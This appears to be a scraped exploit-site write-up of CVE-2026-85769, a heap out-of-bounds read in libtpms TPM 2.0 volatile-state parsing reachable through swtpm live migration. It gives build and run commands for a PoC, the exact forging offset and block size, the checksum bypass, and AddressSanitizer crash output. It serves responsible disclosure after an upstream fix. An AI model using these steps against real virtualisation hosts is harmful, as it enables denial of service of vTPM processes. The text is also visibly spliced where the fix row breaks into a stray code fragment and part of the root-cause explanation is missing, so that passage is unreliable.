## https://sploitus.com/exploit?id=79A72BDF-E7C0-5C95-89DB-BC3C18009E8E
# CVE-2026-85769
Heap out-of-bounds read in **libtpms** TPM 2.0 volatile-state deserialization.
An unbounded optional-block skip in `block_skip_read()` advances the unmarshal cursor by an attacker-controlled 16-bit length and drives the signed remaining-size counter negative. Every downstream bounds check then passes, because they cast that signed value to unsigned. A forged, self-checksummed volatile-state blob fed through `TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …)` produces a heap out-of-bounds read and aborts the process hosting libtpms — swtpm, in a vTPM deployment.
| | |
|---|---|
| **CVE** | [CVE-2026-85769](https://access.redhat.com/security/cve/CVE-2026-85769) |
| **Component** | `src/tpm2/NVMarshal.c`, `src/tpm2/Unmarshal.c` |
| **CWE** | CWE-125 ← CWE-191 (Integer Underflow) + CWE-195 (Signed-to-Unsigned Conversion) |
| **Affected** | master `f7f072b2`, v0.10.2 `03ff2481`, and earlier releases carrying this code |
| **Fixed** | `9e1475ff` — *"tpm2: Add checks for `*size false /* guard passes */
```
The further past the allocation the parse runs, the more negative `*size` becomes — and the larger it looks unsigned. The same file already has the correct form in `Array_Unmarshal`, which compares signed.
The only integrity gate is an unkeyed SHA-1 appended to the blob (`src/tpm2/Volatile.c`), so the PoC recomputes it after tampering.
## Attack surface
Reached through `TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …)` and the power-on restore chain `TPMLIB_MainInit → _TPM_Init → VolatileLoad`.
In an swtpm deployment the relevant path is live migration — `CMD_GET_STATEBLOB` / `CMD_SET_STATEBLOB`, driven by libvirt. The destination host parses a state blob produced on the source host. A configured `--migration-key` does not mitigate this: the key is shared between both hosts, so a compromised source holds it and produces a blob that decrypts correctly. It defends against an interposed third party, not against a hostile peer.
## Build
```bash
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967 # v0.10.2, or ba73ab17 for pre-fix master
./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
LDFLAGS='-fsanitize=address'
make -j4
gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto
```
## Run
```bash
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin
# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610
# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0
```
`8610` is sized so the cursor lands in ASan's redzone rather than on a wild pointer:
```
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610
```
Offset 173 is the `has_block` byte of the `ORDERLY_DATA` `skip_future_versions` trailer. It was located by instrumenting `block_skip_read()` to print the offset during a parse, not by counting bytes — the offset shifts with the state format, so re-derive it if your blob length differs from 8778.
Note that `skip_self_heal_timer` is **not** a usable trailer: `ACCUMULATE_SELF_HEAL_TIMER YES` in `TpmBuildSwitches.h` means it is emitted with `needs_block = TRUE` and takes the safe branch.
## Result
```
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
#0 in UINT16_Unmarshal tpm2/Unmarshal.c:71
#1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
#2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453
#3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
#4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431
#5 in VolatileState_Load tpm2/Volatile.c:81
#6 in TPM2_SetState src/tpm_tpm2_interface.c:820
#7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)
```
The fault surfaces in `UINT16_Unmarshal`, not in `block_skip_read` — the skip advances the cursor and returns without reading. The corruption lands on the next structure read.
Against the fixed commit, every attack case returns `TPM_RC_INSUFFICIENT (0x9a)` with no ASan report, and valid blobs still restore with `rc=0`.
## Impact
Denial of service of the process hosting libtpms, plus undefined behaviour.
Information disclosure was tested and ruled out. Small overshoots on a non-ASan build return `TPM_RC_BAD_TAG (0x1e)` every time:
```
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000
```
The read immediately after the overshoot is an `NV_HEADER`, whose 32-bit magic must match a fixed constant. Adjacent heap satisfies that with p ≈ 2⁻³². The parse aborts, `ClearAllCachedState()` discards everything, and no out-of-bounds bytes reach `TPMLIB_GetState`. Confidentiality is therefore `C:N`. Red Hat's review reached the same conclusion independently.
## Timeline
| Date | |
|---|---|
| 2026-09-01 | Reported privately to the libtpms maintainer |
| 2026-09-04 | Same root cause reported publicly and independently by Leyao (ICT CAS) as libtpms issue [#614](https://github.com/stefanberger/libtpms/issues/614) |
| 2026-09-04 | Fixed upstream in `9e1475ff` (PR #613); fix verified against this PoC |
| 2026-09-04 | Reported to Red Hat Product Security |
| 2026-09-04 | CVE-2026-85769 assigned |
## Credit
Isuka Sanuj — [CyberCrew Inc.](https://cybercrew.co.jp) (株式会社CyberCrew)
Independently reported by Leyao (ICT CAS), credited on the same CVE.
## Notes
This PoC is published after the issue was fixed upstream and the CVE was assigned. It targets a local build of an open-source library and does nothing beyond triggering the parse. Only test what you are authorised to test.
## License
MIT